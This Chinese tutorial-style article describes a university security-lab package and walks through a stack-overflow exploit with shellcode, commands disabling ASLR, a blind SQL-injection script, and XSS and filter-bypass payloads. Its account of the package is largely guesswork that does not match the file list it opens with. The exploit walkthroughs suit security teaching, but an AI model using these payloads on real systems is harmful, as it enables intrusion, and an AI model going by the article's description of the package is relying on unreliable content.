简介:本资源是华中科技大学网络空间安全学院《信息系统安全实验》课程配套实践材料,面向网络安全专业本科生及实践入门者,聚焦密码学应用、漏洞分析、访问控制、Web安全(XSS/CSRF)、服务端加固(chroot/jail breaking)等核心能力培养,解决理论脱离实操、缺乏系统性攻防训练的问题。压缩包共73个文件,含17个C源码(如banksv.c、httpd.c、exploit相关程序)、7个头文件、6个Python脚本(含jail_breaking_x01.py、SQL注入/权限绕过工具)、3份Markdown实验说明文档、26张实验过程截图(覆盖lab1至lab3的界面、调试、攻击效果验证),以及Makefile、Shell部署脚本和HTML/JS测试用例,总大小4.65MB。已有132人学习下载,内容结构清晰分层:lab1侧重基础编程与调试,lab2聚焦服务端安全机制实现与突破,lab3延伸至Web应用层攻防,所有源码均支持自主修改与扩展,便于深入理解安全机制设计逻辑与缺陷成因。
1. 项目概述与核心价值
最近在整理资料时,翻到了一个来自华中科技大学网络空间安全学院的“信息系统安全实验”资源包。这个压缩包里包含了实验的完整源码和一份详细的说明书,并且特别标注了“可自行修改”。对于正在学习信息安全、网络安全,或者对系统安全攻防实践感兴趣的朋友来说,这无疑是一个宝藏级的实战学习材料。它不像市面上那些零散的、只有几行代码的“演示”,而是一个结构完整、贴近真实教学场景的项目集合。通过它,你不仅能看懂代码,更能理解一个安全实验从设计、实现到验证的完整闭环,以及背后所蕴含的安全思维。
这个资源包的核心价值在于“可操作性”和“教学性”。它不是为了炫技,而是为了让你亲手“做一遍”。无论是想深入理解缓冲区溢出、Web漏洞原理,还是想学习如何构建一个简单的安全检测工具,这里面的源码和文档都能给你提供一个清晰的起点。你可以按照说明书一步步复现实验,观察攻击效果,更可以基于源码进行修改和扩展,比如改变攻击载荷、加固防御代码、或者将实验环境迁移到更新的系统上。接下来,我将为你深度拆解这个资源包可能涵盖的内容、其背后的技术原理、实操要点以及如何最大化地利用它进行学习。
2. 实验资源包深度解析与内容预判
拿到一个名为“信息系统安全实验”的压缩包,我们首先需要对其内容有一个宏观的预判。根据华中科技大学网安学院的课程设置惯例,这类实验通常会覆盖信息系统安全的几个经典且核心的领域。
2.1 可能包含的实验主题与对应技术栈
基于标题和常见课程大纲,我推测资源包内很可能包含以下一个或多个实验模块,每个模块都配有独立的源码目录和说明文档:
缓冲区溢出攻击与防御实验:这是系统安全入门的“必修课”。
- 攻击源码:可能用C语言编写,演示栈溢出(Stack Overflow)和简单的返回导向编程(ROP)链构造。代码会展示如何覆盖函数返回地址,并跳转到植入的Shellcode(如获取系统Shell的代码)。
- 防御实验:对应的,会有演示如何开启编译器的栈保护(如GCC的
-fstack-protector)、地址空间布局随机化(ASLR)以及数据执行保护(DEP/NX)的源码和编译脚本。通过对比开启/关闭这些保护机制的程序行为,直观理解其原理。 - 工具链:GCC编译器、GDB调试器、objdump、readelf等。实验可能会引导你使用
checksec脚本检查程序的安全属性。
Web应用安全实验:聚焦于OWASP Top 10中的常见漏洞。
- 漏洞环境源码:很可能是一个用PHP或Python(如Flask/Django)搭建的、故意留有漏洞的简易网站。例如,包含存在SQL注入的登录框、存在跨站脚本(XSS)的评论框、存在文件上传漏洞的功能点。
- 攻击利用源码:配套的Python脚本,用于自动化探测和利用这些漏洞。比如一个用
requests和BeautifulSoup库编写的SQL盲注脚本,或者一个用于生成XSS攻击载荷的脚本。 - 防御演示源码:展示如何修复这些漏洞的代码片段。例如,使用参数化查询(Prepared Statements)修复SQL注入,对输出进行HTML编码修复XSS,对上传文件进行后缀和内容检查。
密码学应用与实现实验:侧重于理解而非破解。
- 源码实现:可能包含用Python实现的经典算法,如AES对称加密、RSA非对称加密、SHA-256哈希函数、以及基于口令的密钥派生函数(如PBKDF2)。代码结构清晰,注重展示算法流程(如轮函数、S盒变换、大数运算)。
- 实验内容:通过调用这些实现,完成文件加密解密、数字签名验证、密码哈希加盐存储等任务。说明书会引导你观察不同工作模式(如ECB, CBC)下密文的差异。
网络协议分析与安全实验:涉及底层数据包操作。
- 源码工具:很可能基于Python的
scapy库或C的libpcap库编写。例如,一个简单的ARP欺骗(ARP Spoofing)检测工具、一个TCP SYN Flood攻击模拟器、或一个HTTP流量嗅探器。 - 实验目标:通过编写和运行这些脚本,理解ARP协议的安全缺陷、TCP三次握手的脆弱性,以及明文传输协议(如HTTP)的风险。
- 源码工具:很可能基于Python的
恶意代码分析基础实验:静态与动态分析的初体验。
- 样本与源码:资源包可能提供一个无害的、自制的“教学型”可执行文件(可能是C或Python编译的),以及用于分析它的Python脚本。
- 分析脚本:使用
pefile(针对Windows PE文件)或pyelftools(针对ELF文件)进行静态分析,提取导入表、节区信息。也可能包含简单的动态分析脚本,使用ptrace(Linux)或模拟执行来监控程序行为。
2.2 说明书的核心结构与学习路径
一份好的实验说明书不仅是步骤列表,更是一份引导思考的教程。我预期这份说明书会包含以下几个部分:
- 实验目的:明确本次实验要掌握的知识点和技能。
- 实验环境:详细说明所需的操作系统(如Ubuntu 20.04)、软件依赖(Python 3.8, GCC版本,特定库)以及如何搭建。这里是一个关键点:原环境可能基于较旧的系统,自行搭建时需要注意版本兼容性问题。
- 背景知识:简要介绍相关安全漏洞或技术的原理,这是连接理论和实践的桥梁。
- 实验步骤:通常分为“攻击实验”和“防御实验”两部分,步步引导。
- 思考题:促使你深入探究,例如“如何绕过某种保护机制?”、“这种防御方法是否存在局限性?”
- 实验报告要求:指导你如何记录过程、分析结果、并总结心得。
注意:由于安全实验的特殊性,所有实验必须在隔离的虚拟环境(如VMware, VirtualBox)中进行,目标机最好使用快照功能,方便每次实验后还原。绝对不要在物理主机或生产环境中进行攻击实验。
3. 环境搭建与实验准备实操指南
无论资源包内的实验具体是什么,一个稳定、隔离且工具齐全的实验环境是成功的第一步。以下是我根据多年经验总结的通用环境搭建方案,比单纯看说明书更能避坑。
3.1 虚拟机与操作系统选型
对于系统安全实验,Linux发行版是首选,因为其工具链丰富且透明。我强烈推荐使用Ubuntu 20.04 LTS或Kali Linux。
- Ubuntu 20.04 LTS:这是一个非常稳定的基础系统。它软件源丰富,社区支持好,适合从头开始搭建学习环境。你需要手动安装后续的安全工具,这个过程本身也是学习。
- Kali Linux:这是一个渗透测试专用发行版,预装了海量安全工具(如metasploit, burpsuite, john the ripper等)。对于希望快速进入实验、不想在工具安装上花费太多时间的学习者非常友好。但要注意,Kali本身设计用于安全评估,请务必在虚拟机中使用。
我的选择与理由:对于教学实验,我通常建议使用Ubuntu。原因有三:第一,你能更清楚地知道每个工具是如何安装和配置的,理解其依赖;第二,避免Kali中某些激进配置对实验的干扰;第三,培养从基础系统构建工作环境的能力。在本指南中,我将以Ubuntu 20.04为例。
- 虚拟机创建:在VMware或VirtualBox中新建虚拟机,分配至少2核CPU、4GB内存和40GB硬盘空间。网络模式选择“NAT”或“仅主机(Host-Only)网络”,后者能创建更封闭的实验网络。
- 系统安装:安装Ubuntu时,选择“最小化安装”即可。务必为root用户和初始用户设置强密码。
- 快照管理:安装好系统并更新后(
sudo apt update && sudo apt upgrade -y),立即创建一个名为“Base_Clean”的虚拟机快照。在每次实验开始前,都恢复到这个干净状态。
3.2 核心开发与调试工具链安装
这是搭建环境的精髓部分。以下命令需要在Ubuntu终端中执行。
# 1. 安装基础编译和调试工具 sudo apt install -y build-essential gcc-multilib gdb python3 python3-pip git vim # 2. 安装32位库支持(很多缓冲区溢出实验针对32位程序) sudo apt install -y libc6-dev-i386 # 3. 安装Python常用安全库 pip3 install --user requests beautifulsoup4 scapy pwntools pycryptodome # 4. 安装网络和分析工具 sudo apt install -y net-tools wireshark tcpdump nmap # 5. (可选但推荐) 安装checksec,用于检查二进制文件安全属性 git clone https://github.com/slimm609/checksec.sh.git sudo cp checksec.sh/checksec /usr/local/bin/关键工具解释:
- gcc-multilib & libc6-dev-i386:允许编译和运行32位程序,这是传统缓冲区溢出实验的常见设置。
- pwntools:一个超级强大的CTF(夺旗赛)框架和漏洞利用开发库。即使实验源码没用它,你也可以用它来重写攻击脚本,效率极高。它集成了进程控制、shellcode生成、ROP链构建等功能。
- scapy:一个强大的交互式数据包操作程序。可以伪造、发送、嗅探和解析网络数据包。学习网络协议安全离不开它。
- checksec:快速查看可执行文件开启了哪些安全保护机制(如CANARY, NX, PIE, RELRO),对分析防御实验至关重要。
3.3 实验源码的初步审查与结构梳理
从资源包中解压后,不要急于运行代码。先花10分钟浏览整个目录结构。
# 假设解压后目录名为 `syssec_lab` cd syssec_lab tree -L 2 # 查看两级目录结构一个良好的结构可能如下:
syssec_lab/ ├── README.md # 总说明 ├── lab1_buffer_overflow/ # 实验一:缓冲区溢出 │ ├── attack/ # 攻击方代码 │ ├── victim/ # 存在漏洞的程序 │ ├── defense/ # 加固后的程序及编译脚本 │ └── manual.pdf # 实验一说明书 ├── lab2_web_security/ # 实验二:Web安全 │ ├── vuln_app/ # 漏洞Web应用 │ ├── exploit_scripts/ # 利用脚本 │ └── manual.pdf ├── lab3_crypto/ # 实验三:密码学 │ ├── src/ # 算法实现 │ └── tasks/ # 实验任务脚本 └── tools/ # 可能包含一些辅助脚本审查要点:
- 阅读每个实验目录下的README或manual.pdf:先通读,了解实验目标。
- 查看源码文件头部的注释:作者通常会在关键函数或复杂逻辑处添加注释。
- 注意配置文件:特别是Web实验,可能有数据库配置(
config.php或settings.py),需要根据你的环境修改(如数据库密码、监听地址)。 - 识别关键的可执行文件或启动脚本:例如,一个
compile.sh编译脚本,或一个run_server.py启动Web应用的脚本。
4. 典型实验模块实战与原理剖析
现在,我们选取两个最经典、最可能出现的实验模块——缓冲区溢出和Web安全,进行深入的实战推演和原理剖析。我会结合资源包中可能存在的代码,补充详细的步骤和“为什么这么做”的解释。
4.1 缓冲区溢出实验:从攻击到防御的完整闭环
这个实验通常是震撼教育的第一课:原来几行简单的C代码就能导致程序崩溃甚至被控制。
4.1.1 漏洞程序(Victim)分析
假设在victim/目录下有一个vuln.c文件:
// vuln.c - 一个简单的存在栈溢出漏洞的程序 #include <stdio.h> #include <string.h> void vulnerable_function(char *input) { char buffer[64]; // 在栈上分配64字节的缓冲区 strcpy(buffer, input); // 危险函数!不检查长度 } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); // 用户输入直接传入漏洞函数 printf("Input processed.\n"); } else { printf("Please provide an argument.\n"); } return 0; }漏洞原理:strcpy函数会一直复制input字符串的内容到buffer,直到遇到字符串结束符\0。如果input长度超过63字节(64字节需留1字节给\0),多出的数据就会覆盖栈上buffer之后的内存,这可能包括保存的寄存器值、上一个函数的栈帧基址(EBP)、以及最关键的函数返回地址(EIP/RIP)。
4.1.2 编译漏洞程序(关闭保护)
为了复现最原始的漏洞,我们需要在编译时关闭现代操作系统的安全保护。
cd victim # 编译32位程序,关闭栈保护,关闭NX,不启用ASLR(需系统设置) gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c # 检查编译后的安全属性 checksec --file=./vuln输出可能显示CANARY、NX、PIE都是disabled状态。ASLR需要系统层面控制,我们稍后处理。
4.1.3 发动攻击:计算偏移与构造Payload
攻击的目标是让程序跳转到我们注入的代码(Shellcode)。第一步是精确控制返回地址。
确定偏移量:我们需要知道从
buffer起始位置到覆盖返回地址处的精确字节数。可以用pattern_create和pattern_offset工具(pwntools内置或Metasploit的pattern_create.rb)。# 使用pwntools生成测试字符串 from pwn import * context.arch = 'i386' # 32位 pattern = cyclic(200) # 生成200个字符的循环模式 print(pattern)将生成的字符串作为参数运行程序,程序会崩溃。在GDB中查看崩溃时
EIP寄存器的值(例如0x6161616c),再用cyclic_find(0x6161616c)即可算出偏移量。假设算出是76。构造攻击Payload:
from pwn import * context.arch = 'i386' offset = 76 # 生成一段简单的Shellcode(执行 /bin/sh) shellcode = asm(shellcraft.sh()) # 构造Payload: [Junk填充] + [返回地址] + [Shellcode] # 返回地址需要指向Shellcode的地址。这里我们采用“NOP雪橇”技术增加命中概率。 nop_sled = asm('nop') * 40 # NOP指令,什么也不做,用于滑行 # 我们需要猜测一个栈地址。在调试中,可以打印buffer的地址。 # 假设通过调试我们得知buffer地址大约是0xffffd0a0,我们加上一个偏移,比如指向NOP雪橇中间。 ret_addr = p32(0xffffd0a0 + 20) # 转换为小端序的32位格式 payload = b'A' * offset + ret_addr + nop_sled + shellcode将payload保存到文件或直接作为参数传递。
4.1.4 实施攻击与获得Shell
在关闭ASLR的情况下(echo 0 | sudo tee /proc/sys/kernel/randomize_va_space),地址是固定的。
# 在攻击目录 python3 exploit.py > payload.bin # 运行漏洞程序,传入payload ./vuln "$(cat payload.bin)"如果成功,你会看到一个全新的Shell提示符(可能是$)从当前终端弹出,这意味着你已控制了该进程。
4.1.5 防御措施实验
在defense/目录下,可能会有演示如何通过编译选项和系统设置来防御此类攻击。
- 栈保护(Stack Canary):重新编译,添加
-fstack-protector-all选项。编译器会在栈上返回地址前插入一个随机值(金丝雀),函数返回前检查该值是否被改变。攻击payload会触发*** stack smashing detected ***错误。 - 数据执行保护(NX/DEP):编译时移除
-z execstack选项。这会使得栈内存区域不可执行,即使Shellcode被注入,CPU也不会执行它,导致段错误(Segmentation Fault)。 - 地址空间布局随机化(ASLR):系统级防护。开启后(
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space),每次程序运行时栈、堆、库的地址都会变化,攻击者难以猜测准确的跳转地址。 - 位置无关可执行文件(PIE):编译时添加
-pie选项。使程序本身的代码段地址也随机化,增加了利用难度。
通过对比开启和关闭这些保护时攻击的成功与失败,你能深刻理解每一层防御机制的工作原理和局限性。
4.2 Web安全实验:手动挖掘与自动化利用
这个实验让你站在攻击者和防御者双重角度审视Web应用。
4.2.1 部署漏洞Web应用
假设vuln_app/是一个基于Python Flask的简易博客系统。
cd vuln_app pip3 install -r requirements.txt # 安装依赖,如flask, sqlalchemy python3 init_db.py # 初始化数据库 python3 app.py # 启动应用,默认监听 http://127.0.0.1:50004.2.2 SQL注入漏洞手工利用
假设登录接口存在SQL注入。查看app.py中相关代码:
@app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] # 危险!直接拼接SQL语句 query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'" result = db.execute(query).fetchone() ...手工探测:
- 在登录框的用户名处输入:
admin' --。这会使SQL语句变为:SELECT * FROM users WHERE username='admin' -- ' AND password='xxx'--是SQL注释符,后面的密码检查被注释掉了,如果admin用户存在,就能直接登录。 - 更深入地,可以尝试联合查询(UNION)来获取数据库信息:
' UNION SELECT 1, version(), 3 --。这需要不断尝试列数。
4.2.3 编写自动化SQL注入利用脚本
手工效率低,我们可以用Python编写一个自动化工具。在exploit_scripts/下创建sql_injection.py。
import requests import string import time target_url = "http://127.0.0.1:5000/login" # 检测是否存在基于时间的盲注 def is_vulnerable(): payload = "admin' AND sleep(5)-- " data = {'username': payload, 'password': 'anything'} start = time.time() requests.post(target_url, data=data) end = time.time() if end - start > 4.9: return True return False # 基于布尔盲注逐字符提取数据 def extract_data(query): result = "" for pos in range(1, 50): # 假设数据长度不超过50字符 for char in string.printable: # 构造Payload,判断当前字符是否正确 payload = f"admin' AND SUBSTRING(({query}),{pos},1)='{char}'-- " data = {'username': payload, 'password': 'anything'} resp = requests.post(target_url, data=data) if "Login successful" in resp.text: # 根据应用返回判断 result += char print(f"[+] Found: {result}") break else: break # 当前位所有字符都不对,可能已结束 return result if __name__ == "__main__": if is_vulnerable(): print("[+] Target is vulnerable to time-based SQL injection!") # 提取当前数据库名 db_name = extract_data("SELECT DATABASE()") print(f"[+] Database: {db_name}") # 可以继续提取表名、列名、数据...这个脚本演示了基于布尔和时间的盲注自动化过程。在实际更复杂的工具中(如sqlmap),会使用二分法等更高效的方法。
4.2.4 XSS漏洞与防御
假设博客评论处未过滤用户输入,存在存储型XSS。
<!-- 评论被渲染时 --> <div class="comment"> {{ comment_content|safe }} <!-- 使用了‘safe’过滤器,危险! --> </div>攻击者可以提交评论:<script>alert('XSS');</script>。防御方法是在模板中使用自动转义,或手动对用户输入进行HTML实体编码(如<转成<)。Flask的Jinja2模板默认是开启自动转义的,除非用了|safe过滤器。修复方法就是移除|safe。
4.2.5 文件上传漏洞
如果上传功能只检查了客户端(JavaScript)或简单的后缀名,攻击者可以上传一个伪装成图片的PHP Webshell(shell.php.jpg,但内容仍是PHP代码),并利用服务器解析漏洞(如Apache的AddType错误配置)执行它。防御需要服务端进行文件内容类型检查(如magic number)、重命名文件、并将上传目录设置为不可执行。
5. 源码学习、修改与扩展的高级技巧
仅仅复现实验是第一步。这个资源包最大的优势是“可自行修改”。以下是如何深度利用它的建议。
5.1 阅读源码的三层境界
- 第一层:理解流程。跟着说明书,让代码跑起来,知道每部分代码是干什么的。这是“知其然”。
- 第二层:追问原理。针对关键代码行,问“为什么”。比如缓冲区溢出实验里,为什么
strcpy危险?-fstack-protector具体在二进制文件的哪个地方插入了金丝雀?可以反汇编查看(objdump -d vuln)。这是“知其所以然”。 - 第三层:思考变种。如果漏洞条件变化了怎么办?例如,缓冲区溢出实验,如果不是
strcpy而是strncpy但长度计算错误呢?Web实验里,如果SQL注入点不在WHERE子句而在ORDER BY后面呢?尝试修改源码,创造新的漏洞场景。
5.2 动手修改:从模仿到创新
以缓冲区溢出实验为例,你可以尝试以下修改:
- 修改漏洞类型:将栈溢出改成堆溢出(使用
malloc/free),或者格式化字符串漏洞(printf(user_input))。 - 绕过现代保护:在开启ASLR和PIE的情况下,尝试利用信息泄露(如通过格式化字符串漏洞打印出某个函数的实际地址)来计算出基址,进而完成利用。这需要你修改攻击脚本,加入信息泄露和地址计算的步骤。
- 升级攻击链:原始的Shellcode可能只是弹一个Shell。尝试修改Shellcode,实现下载并执行远程文件、建立反向连接等更复杂的功能。可以使用
msfvenom生成各种功能的Shellcode,然后集成到你的攻击脚本中。
对于Web实验:
- 构建更复杂的漏洞链:修改应用,使得一个漏洞的利用结果能为另一个漏洞创造条件。例如,通过XSS窃取管理员Cookie,然后利用管理员权限进行文件上传。
- 实现自动化扫描器:基于已有的SQL注入和XSS检测脚本,将它们整合成一个简单的被动或主动扫描器,能够对给定的URL进行基本的安全测试。
5.3 将实验整合到自己的项目中
这些实验模块可以作为你个人安全工具库的基石。
- 密码学模块:将实现的AES、RSA函数封装成类,以后在需要加密存储配置信息或通信时直接调用。
- 网络协议模块:将基于
scapy的ARP欺骗检测脚本改造成一个常驻后台的守护进程,监控局域网内的异常ARP广播。 - 二进制分析模块:将简单的PE/ELF分析脚本扩展,添加对特定恶意软件家族特征(如导入函数、节区名)的识别功能。
6. 实验过程中常见问题与排查实录
即使有详细的说明书,在实际操作中你依然会遇到各种“坑”。以下是我根据经验总结的常见问题及解决方法。
6.1 缓冲区溢出实验常见问题
| 问题现象 | 可能原因 | 排查与解决 |
|---|---|---|
| 段错误(Segmentation fault)但无法控制EIP | 1. 偏移量计算错误。 2. 存在空字节( \x00)截断。Shellcode或地址中可能包含0x00,strcpy遇到它会停止复制。 | 1. 使用cyclic模式重新精确计算偏移。2. 避免使用包含空字节的地址(如函数地址开头常是 0x0804...,0x00在中间?不,0x0804是\x04\x08,无空字节)。Shellcode需用编码技术(如Alpha2, Shikata Ga Nai编码器)。 |
| 开启NX后,Shellcode在栈上但无法执行 | NX(DEP)保护生效,栈内存不可执行。 | 转向使用ROP(返回导向编程)技术。利用程序中已有的代码片段(gadgets)来拼凑出所需功能。这需要更复杂的利用脚本,可以使用ROPgadget工具辅助寻找gadget。 |
| ASLR开启后,每次地址都变 | 这是ASLR的正常效果。 | 需要寻找一个“信息泄露”漏洞,先泄漏出某个已知指针的实际地址(如libc中的函数地址),然后根据偏移计算出其他地址。或者攻击不依赖绝对地址的部分(如.plt、.got表)。 |
| gdb中运行成功,直接运行失败 | GDB环境变量和普通运行环境不同,会影响栈地址。 | 1. 在攻击脚本中,通过cat或重定向将payload传递给程序,而不是直接在命令行参数传递(命令行参数存储位置不同)。2. 在GDB外运行时,关闭所有ASLR( setarch $(uname -m) -R ./vuln)。3. 使用 env -i命令清空环境变量再运行。 |
6.2 Web安全实验常见问题
| 问题现象 | 可能原因 | 排查与解决 |
|---|---|---|
| SQL注入Payload不生效 | 1. 注入点判断错误(可能不是WHERE子句)。2. 存在WAF或简单的过滤(如过滤了空格、 union等关键词)。3. 错误类型判断失误(不是字符型而是数字型)。 | 1. 使用'和"分别测试,观察报错信息。2. 尝试使用注释符 /**/代替空格,UNION大小写混合或双写UNIUNIONON绕过。3. 数字型注入不需要闭合引号,直接 ?id=1 AND 1=1测试。 |
| XSS弹窗不执行 | 1. 输入点位于JavaScript字符串内或HTML属性中,需要闭合上下文。 2. 浏览器内置的XSS过滤器(如Chrome的XSS Auditor)拦截。 3. 内容安全策略(CSP)限制。 | 1. 查看页面源码,确定输入被插入的位置,构造合适的Payload。例如在属性中:" onmouseover="alert(1)。2. 尝试更隐蔽的Payload,如 <img src=x onerror=alert(1)>。3. 检查HTTP响应头是否有 Content-Security-Policy,这需要更复杂的绕过技术。 |
| 文件上传了但无法访问 | 1. 上传目录不是Web可访问目录。 2. 文件被重命名,你不知道新名字。 3. 服务器配置了禁止执行上传目录下的脚本。 | 1. 检查应用代码,看上传文件保存的路径。可能需要目录遍历漏洞配合。 2. 查看服务器返回的信息或数据库记录,获取文件保存后的名称。 3. 尝试上传含HTML代码的文件,通过XSS方式触发,或寻找其他解析漏洞。 |
Flask应用报错Address already in use | 端口5000被占用。 | 杀死占用进程:lsof -i:5000找到PID,然后kill -9 PID。或者修改app.run(port=5001)换一个端口。 |
6.3 环境与依赖问题
- Python库版本冲突:这是最常见的问题。原实验可能基于Python 2.7或旧的库版本。
- 解决:优先使用
python3和pip3。使用虚拟环境(venv)隔离项目依赖是最佳实践。
cd lab_project python3 -m venv venv source venv/bin/activate pip install -r requirements.txt - 解决:优先使用
- 32位程序运行失败:在64位系统上运行32位程序,缺少32位库。
- 解决:确保已安装
gcc-multilib和libc6-dev-i386。如果还报错,使用file ./program查看程序类型,用ldd ./program查看缺失的库,然后用apt搜索并安装对应的:i386版本库。
- 解决:确保已安装
- 编译错误:源码中可能使用了过时或非标准的语法/函数。
- 解决:根据错误信息搜索。常见于较老的C代码,可能需要添加
#define _GNU_SOURCE宏定义,或者将不安全的函数(如strcpy)替换为安全版本(如strncpy),但这会改变实验原意,需谨慎。
- 解决:根据错误信息搜索。常见于较老的C代码,可能需要添加
7. 从实验到实战:构建个人安全学习体系
完成这些实验后,你获得的不应只是一堆可以运行的代码,而是一套方法论和动手能力。为了将这些知识转化为真正的技能,我建议按以下路径深化:
- 靶场巩固:在VulnHub、HackTheBox、PentesterLab等在线靶场或下载的虚拟机镜像上练习。那里的环境更接近真实世界,漏洞类型也更综合。
- CTF竞赛:参加Capture TheFlag比赛。CTF的Pwn(二进制漏洞利用)、Web、Crypto等方向与这些实验直接相关,但题目更具挑战性和趣味性。
- 代码审计:尝试阅读一些小型开源项目的源码(可以从GitHub上找),用你学到的知识去审视其中可能存在的安全问题。这是一种主动发现漏洞的能力。
- 工具开发:将实验中的脚本模块化、工具化。例如,把你的SQL盲注脚本升级成一个支持多种数据库、多种注入类型的小型扫描模块。
这个来自华中科技大学网络空间安全学院的实验资源包,是一个绝佳的起点。它像一份精心准备的地图,指引你穿越信息系统安全的核心地带。真正的学习发生在你按照地图行走,并敢于离开既定路线去探索未知区域的时候。多动手,多思考“如果…会怎样”,多尝试修改和打破原有的设计,你会发现在这个充满挑战的领域,乐趣和成就感正源于此。
本文还有配套的精品资源,点击获取